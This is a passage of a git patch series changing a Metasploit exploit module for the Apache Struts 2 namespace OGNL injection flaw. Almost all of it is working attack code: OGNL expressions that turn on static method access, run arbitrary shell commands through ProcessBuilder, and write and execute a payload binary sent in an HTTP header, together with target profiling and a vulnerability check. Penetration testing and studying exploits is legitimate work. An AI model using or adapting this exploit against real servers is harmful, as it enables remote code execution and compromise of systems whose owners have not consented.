"{'bash','-c','#{cmd_input}'}" - elsif os.include?'win' + if os.include? 'linux' || os.include? 'nix' + cmd = "{'sh','-c','#{cmd_input}'}" + elsif os.include? 'win' cmd = "{'cmd.exe','/c','#{cmd_input}'}" else vprint_error("Failed to detect target OS. Attempting to execute command directly") @@ -286,15 +285,15 @@ def execute_command(cmd_input, opts={}) # WTF is opts for? end end - def send_payload() + def send_payload # Probe for the target OS and architecture properties = profile_target - + os = properties[:'os.name'].downcase - if os.include?'win' - fail_with(Failure::NoTarget,"Windows currently unsupported.") + if os.include? 'win' + fail_with(Failure::NoTarget, "Windows currently unsupported.") #execute_cmdstager(flavor: :vbs) - elsif os.include?'linux' or os.include?'nix' + elsif os.include? 'linux' || os.include? 'nix' # cool. Keep going else print_error("Unrecognized operating system.") @@ -303,15 +302,17 @@ def send_payload() data_header = datastore['HEADER'] if data_header.empty? - fail_with(Failure::BadConfig,"HEADER parameter cannot be blank when sending a payload") + fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload") end + random_filename = datastore['TEMPFILE'] + # d = data stream from HTTP header # f = path to temp file # s = stream/handle to temp file ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| - ognl << %Q|(#f=@java.io.File@createTempFile('deleteme','tmp')).| + ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).| ognl << %q|(#f.setExecutable(true)).| ognl << %q|(#f.deleteOnExit()).| ognl << %q|(#s=new java.io.FileOutputStream(#f)).| @@ -331,7 +332,8 @@ def send_payload() if r.headers['Location'].split('/')[1] == success_string print_good("Payload successfully dropped and executed.") else - print_error("Payload failed.") + vprint_error("RESPONSE: " + r.headers['Location']) + fail_with(Failure::PayloadFailed, "Target did not successfully execute the request") end end end From 7eb06b45924f44776b8fe1900436dce698d0343f Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 6 Sep 2018 12:43:56 -0500 Subject: [PATCH 6/8] Address travis errors: Updated metadata and target OS logic --- modules/exploits/multi/http/struts2_namespace_ognl.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb index cc962c4f43fc..eacbde83524a 100644 --- a/modules/exploits/multi/http/struts2_namespace_ognl.rb +++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb @@ -58,7 +58,7 @@ def initialize(info = {}) ) register_advanced_options( [ - OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]), OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ), OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ), ] @@ -253,7 +253,7 @@ def execute_command(cmd_input, opts={}) properties = profile_target os = properties[:'os.name'].downcase - if os.include? 'linux' || os.include? 'nix' + if (os.include? 'linux') || (os.include? 'nix') cmd = "{'sh','-c','#{cmd_input}'}" elsif os.include? 'win' cmd = "{'cmd.exe','/c','#{cmd_input}'}" @@ -293,7 +293,7 @@ def send_payload if os.include? 'win' fail_with(Failure::NoTarget, "Windows currently unsupported.") #execute_cmdstager(flavor: :vbs) - elsif os.include? 'linux' || os.include? 'nix' + elsif (os.include? 'linux') || (os.include? 'nix') # cool. Keep going else print_error("Unrecognized operating system.") From 3671f8f6b055e8ba886a3d5ece3703564b3f4988 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 6 Sep 2018 17:56:42 -0500 Subject: [PATCH 7/8] Handling for Tomcat namespace issues, 'allowStaticMethodAccess' settings, and payload output Depending on the configuration of the Tomcat server, `allowStaticMethodAccess` may already be set. We now try to detect this as part of `profile_target`. But that check might fail. If so, we'll try our best and let the user control whether we prepend OGNL to enable `allowStaticMethodAccess` via the 'ENABLE_OGNL' option. Additionally, sometimes enabling `allowStaticMethodAccess` will cause the OGNL query to fail. Additionally additionally, some Tomcat configurations won't provide output from the payload. We'll detect that the payload ran successfully, but tell the user there was no output. --- .../multi/http/struts2_namespace_ognl.rb | 126 +++++++++++++----- 1 file changed, 89 insertions(+), 37 deletions(-) diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb index eacbde83524a..c6bef693f964 100644 --- a/modules/exploits/multi/http/struts2_namespace_ognl.rb +++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb @@ -40,11 +40,23 @@ def initialize(info = {}) 'Privileged' => true, 'Targets' => [ [ - 'Universal', { + 'Automatic detection', { 'Platform' => %w{ unix windows linux }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], + [ + 'Windows', { + 'Platform' => %w{ windows }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + [ + 'Linux', { + 'Platform' => %w{ unix linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], ], 'DisclosureDate' => 'Apr 10 2018', 'DefaultTarget' => 0)) @@ -54,6 +66,7 @@ def initialize(info = {}) Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), + OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]), ] ) register_advanced_options( @@ -66,28 +79,46 @@ def initialize(info = {}) end def check - # Generate two random numbers, ask the target to add them together. - # If it does, it's vulnerable. - a = rand(10000) - b = rand(10000) - c = a+b + # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable + ognl = "#_memberAccess['allowStaticMethodAccess']" - ognl = "#{a}+#{b}" + resp = send_struts_request(ognl) + + # If vulnerable, the server should return an HTTP 302 (Redirect) + # and the 'Location' header should contain either 'true' or 'false' + if resp && resp.headers['Location'] + output = resp.headers['Location'] + vprint_status("Redirected to: #{output}") + if (output.include? '/true/') + print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") + datastore['ENABLE_STATIC'] = false + CheckCode::Vulnerable + elsif (output.include? '/false/') + print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'") + datastore['ENABLE_STATIC'] = true + CheckCode::Vulnerable + else + CheckCode::Safe + end + elsif resp && resp.code==400 + # METHOD 2: Generate two random numbers, ask the target to add them together. + # If it does, it's vulnerable. + a = rand(10000) + b = rand(10000) + c = a+b + + ognl = "#{a}+#{b}" - begin resp = send_struts_request(ognl) - rescue Msf::Exploit::Failed => error - print_error(error.to_s) - return Exploit::CheckCode::Unknown - end - # If vulnerable, the server should return an HTTP 302 (Redirect) - # and the 'Location' header should contain the sum of our two numbers (a+b) - if resp.headers['Location'].include? c.to_s - vprint_status("Redirected to: #{resp.headers['Location']}") - CheckCode::Vulnerable - else - CheckCode::Safe + if resp.headers['Location'].include? c.to_s + vprint_status("Redirected to: #{resp.headers['Location']}") + print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") + datastore['ENABLE_STATIC'] = false + CheckCode::Vulnerable + else + CheckCode::Safe + end end end @@ -171,7 +202,7 @@ def send_struts_request(ognl, payload: nil) ) if resp && resp.code == 404 - fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION") + fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options") end =begin #badchar-checking code @@ -202,7 +233,9 @@ def profile_target #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) } - ognl = "(#_memberAccess['allowStaticMethodAccess']=true).('#{rand_text_alpha(2)}')" + ognl = "" + ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC'] + ognl << "('#{rand_text_alpha(2)}')" properties.each do |k,v| ognl << "+(@java.lang.System@getProperty('#{k}'))+':'" end @@ -210,11 +243,19 @@ def profile_target r = send_struts_request(ognl) - if r && r.code == 302 && r.headers['Location'] + if r.code == 400 + fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option") + elsif r.headers['Location'] # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' # Extract the OGNL output from the Location path, and strip the two random chars s = r.headers['Location'].split('/')[1][2..-1] + if s.nil? + # Since the target didn't respond with an HTTP/400, we know the OGNL code executed. + # But we didn't get any output, so we can't profile the target. Abort. + return nil + end + # Confirm that all fields were returned, and non include extra (:) delimiters # If the OGNL fails, we might get a partial result back, in which case, we'll abort. if s.count(':') > properties.length @@ -250,9 +291,17 @@ def execute_command(cmd_input, opts={}) vprint_status("AFTER: #{cmd_input}") end - properties = profile_target + begin + properties = profile_target + os = properties[:'os.name'].downcase + rescue + vprint_warning("Target profiling was unable to determine operating system") + os = '' + os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' + end - os = properties[:'os.name'].downcase if (os.include? 'linux') || (os.include? 'nix') cmd = "{'sh','-c','#{cmd_input}'}" elsif os.include? 'win' @@ -268,7 +317,8 @@ def execute_command(cmd_input, opts={}) vprint_status("Executing: #{cmd}") - ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." + ognl = "" + ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC'] ognl << "(#p=new java.lang.ProcessBuilder(#{cmd}))." ognl << "(#p.redirectErrorStream(true))." ognl << "(#process=#p.start())." @@ -281,23 +331,25 @@ def execute_command(cmd_input, opts={}) if r && r.code == 200 print_good("Command executed:\n#{r.body}") else - print_error("Failed to run command. Response from server: #{r.to_s}") + if r.body.length == 0 + print_status("Payload sent, but no output provided from server.") + elsif r.body.length > 0 + print_error("Failed to run command. Response from server: #{r.to_s}") + end end end def send_payload # Probe for the target OS and architecture - properties = profile_target - - os = properties[:'os.name'].downcase - if os.include? 'win' - fail_with(Failure::NoTarget, "Windows currently unsupported.") - #execute_cmdstager(flavor: :vbs) - elsif (os.include? 'linux') || (os.include? 'nix') - # cool. Keep going - else - print_error("Unrecognized operating system.") - fail_with(Failure::NoTarget, "Unsupported target platform!") + begin + properties = profile_target + os = properties[:'os.name'].downcase + rescue + vprint_warning("Target profiling was unable to determine operating system") + os = '' + os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' end data_header = datastore['HEADER'] From 99ca6cef4907bfa8cfe3108c44063cf031164929 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Fri, 7 Sep 2018 11:43:04 -0500 Subject: [PATCH 8/8] Quote-block cleanup and improved error handling --- .../multi/http/struts2_namespace_ognl.rb | 42 ++++++++++--------- 1 file changed, 23 insertions(+), 19 deletions(-) diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb index c6bef693f964..c878b21ad69d 100644 --- a/modules/exploits/multi/http/struts2_namespace_ognl.rb +++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb @@ -234,10 +234,10 @@ def profile_target } ognl = "" - ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC'] - ognl << "('#{rand_text_alpha(2)}')" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] + ognl << %Q|('#{rand_text_alpha(2)}')| properties.each do |k,v| - ognl << "+(@java.lang.System@getProperty('#{k}'))+':'" + ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'| end ognl = ognl[0...-4] @@ -298,8 +298,8 @@ def execute_command(cmd_input, opts={}) vprint_warning("Target profiling was unable to determine operating system") os = '' os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' - os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' - os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' end if (os.include? 'linux') || (os.include? 'nix') @@ -318,19 +318,19 @@ def execute_command(cmd_input, opts={}) vprint_status("Executing: #{cmd}") ognl = "" - ognl << "(#_memberAccess['allowStaticMethodAccess']=true)." if datastore['ENABLE_STATIC'] - ognl << "(#p=new java.lang.ProcessBuilder(#{cmd}))." - ognl << "(#p.redirectErrorStream(true))." - ognl << "(#process=#p.start())." - ognl << "(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r))." - ognl << "(#r.flush())" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] + ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).| + ognl << %q|(#p.redirectErrorStream(true)).| + ognl << %q|(#process=#p.start()).| + ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).| + ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).| + ognl << %q|(#r.flush())| r = send_struts_request(ognl) if r && r.code == 200 print_good("Command executed:\n#{r.body}") - else + elsif r if r.body.length == 0 print_status("Payload sent, but no output provided from server.") elsif r.body.length > 0 @@ -348,8 +348,8 @@ def send_payload vprint_warning("Target profiling was unable to determine operating system") os = '' os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' - os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' - os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' + os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' + os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' end data_header = datastore['HEADER'] @@ -362,7 +362,8 @@ def send_payload # d = data stream from HTTP header # f = path to temp file # s = stream/handle to temp file - ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." + ognl = "" + ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).| ognl << %q|(#f.setExecutable(true)).| @@ -376,16 +377,19 @@ def send_payload ognl << %q|(#f.delete()).| success_string = rand_text_alpha(4) - ognl << "('#{success_string}')" + ognl << %Q|('#{success_string}')| exe = [generate_payload_exe].pack("m").delete("\n") r = send_struts_request(ognl, payload: exe) - if r.headers['Location'].split('/')[1] == success_string + if r && r.headers && r.headers['Location'].split('/')[1] == success_string print_good("Payload successfully dropped and executed.") - else + elsif r && r.headers['Location'] vprint_error("RESPONSE: " + r.headers['Location']) fail_with(Failure::PayloadFailed, "Target did not successfully execute the request") + elsif r && r.code == 400 + fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload") end end end +